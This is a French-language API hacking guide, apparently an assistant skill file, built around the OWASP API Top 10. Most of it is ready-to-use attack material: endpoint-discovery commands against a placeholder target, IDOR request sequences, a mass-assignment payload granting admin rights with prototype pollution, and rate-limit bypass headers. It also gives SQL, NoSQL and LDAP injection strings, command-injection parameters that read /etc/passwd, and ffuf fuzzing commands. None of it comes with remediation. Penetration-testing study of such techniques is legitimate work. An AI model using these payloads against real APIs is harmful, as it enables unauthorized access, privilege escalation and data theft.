| name | api-hacking-guide |
| description | Guide complet de hacking d'API REST — OWASP API Top 10, fuzzing, rate limiting bypass, IDOR, mass assignment, SSRF, injection |
| category | cybersecurite |
API Hacking — Guide Avancé
Introduction
Les API REST sont le cœur des applications modernes. Contrairement aux pages web, les API exposent des endpoints fonctionnels directement exploitables. L'OWASP API Security Top 10 est la référence.
OWASP API Top 10 (2023)
- API1-2023: Broken Object Level Authorization (BOLA/IDOR)
- API2-2023: Broken Authentication
- API3-2023: Broken Object Property Level Authorization
- API4-2023: Unrestricted Resource Consumption
- API5-2023: Broken Function Level Authorization
- API6-2023: Unrestricted Access to Sensitive Business Flows
- API7-2023: Server Side Request Forgery (SSRF)
- API8-2023: Security Misconfiguration
- API9-2023: Improper Inventory Management
- API10-2023: Unsafe Consumption of APIs
Découverte d'Endpoints
Découverte Passive
curl "http://web.archive.org/cdx/search/cdx?url=*.target.com/*&output=json&fl=original&collapse=urlkey"
site:target.com inurl:api
site:target.com "swagger" OR "openapi" OR "api-docs"
site:target.com "postman" OR "insomnia"
curl "https://crt.sh/?q=%.target.com&output=json"
grep -oh '"https?://[^"]*api[^"]*' *.js | sort -u
Découverte Active
katana -u https://target.com -d 5 -jc -kf -o endpoints.txt
arjun -u https://api.target.com/users --get
dirsearch -u https://api.target.com/v1/ -w wordlist.txt
kr scan http://api.target.com -w api_wordlist.txt
Outils de Documentation
curl https://api.target.com/swagger.json
curl https://api.target.com/v1/api-docs
curl https://api.target.com/openapi.json
curl https://api.target.com/v1/postman/collection
curl -X POST https://api.target.com/graphql -H "Content-Type: application/json" -d '{"query":"{__typename}"}'
Attaques par Endpoint
1. Broken Object Level Authorization (IDOR)
Techniques d'IDOR:
GET /api/v1/users/123
GET /api/v1/users/124
GET /api/v1/users/125
GET /api/v1/users/1 → 401
GET /api/v1/users/1?fields=id,name,email,ssn → 200 (parameter pollution)
GET /api/v1/users
X-Original-User: admin
Exploitation avancée:
jwt_tool eyJhbGciOiJIUzI1NiJ9...
POST /api/v1/users/batch
[{"id": 1}, {"id": 2}, {"id": 3}]
GET /api/v1/users/*
GET /api/v1/users/%
GET /api/v1/users/../
2. Broken Authentication
Attaques sur les tokens:
Cookie-based auth:
GET /api/v1/admin?sessionid=abc123
GET /api/v1/admin
Referer: https://target.com/?sessionid=abc123
3. Mass Assignment
POST /api/v1/users/signup
{
"username": "attacker",
"password": "secret",
"isAdmin": true,
"roles": ["admin"],
"quota": 999999,
"__proto__": { "admin": true }
}
Content-Type: application/json
Content-Type: application/xml
Content-Type: application/x-www-form-urlencoded (si l'API accepte)
4. Rate Limiting Bypass
X-Forwarded-For: 127.0.0.2
X-Forwarded-For: 127.0.0.3
X-Real-IP:
X-Originating-IP:
X-Remote-IP:
X-Remote-Addr:
X-Client-IP:
Forwarded: for=127.0.0.2
True-Client-Ip:
5. Injection dans les Paramètres
SQL Injection via API:
GET /api/v1/users?search=' UNION SELECT * FROM passwords--
GET /api/v1/products?id=1 OR 1=1
POST /api/v1/users {"username": "admin'--"}
# NoSQL Injection (MongoDB)
GET /api/v1/users?id[$ne]=
POST /api/v1/users {"$where": "this.admin == true"}
LDAP Injection:
GET /api/v1/login?user=admin*&pass=*
GET /api/v1/login?user=*)(uid=*))&pass=*
Command Injection via API params:
GET /api/v1/ping?host=google.com;id
GET /api/v1/convert?file=test.docx;cat /etc/passwd
API Fuzzing Avancé
Avec ffuf
ffuf -w methods.txt -u https://api.target.com/api/v1/users -X FUZZ -fc 404,405
ffuf -w params.txt -u https://api.target.com/api/v1/users?FUZZ=1
ffuf -w ids.txt -u https://api.target.com/api/v1/users/FUZZ
Content-Type Switching
curl -X POST https://api.target.com/api/v1/users \
-H "Content-Type: application/xml" \
-d '<user><username>admin</username><password>test</password></user>'
Accept-Charset: utf-8
Content-Type: application/json; charset=utf-16
HTTP Method Override
X-HTTP-Method: DELETE
X-HTTP-Method-Override: DELETE
X-Method-Override: DELETE
POST /api/v1/users
X-HTTP-Method-Override: DELETE
Outils Complémentaires
| Outil | Description |
|---|
| Postman | Exploration manuelle + collections |
| Insomnia | IDE d'API avec GraphQL |
| BurpSuite | Repeater, Intruder, Scanner |
| ffuf | Fuzzing HTTP haute performance |
| Arjun | Découverte de paramètres |
| Kiterunner | Bruteforce d'endpoints API |
| Autorize (Burp) | Force brute d'ACL/authorization |
| AuthMatrix (Burp) | Matrice d'authentification |
| JWT_Tool | Audit et exploitation JWT |
| Mitmproxy2 | Proxy d'interception avancé |
Checklist Finale
- Endpoints API (inventory management)
- Authentification bypass
- IDOR sur tous les endpoints object-ID
- Mass assignment sur les POST/PUT/PATCH
- Rate limiting bypass
- SQL/NoSQL injection
- Command injection
- SSRF via webhooks/imports
- HTTP method override
- Content-Type switching
- BOLA — chaque endpoint avec Object ID
- BFLA — admin endpoints access
- Token/JWT security
- API keys in source code
Ressources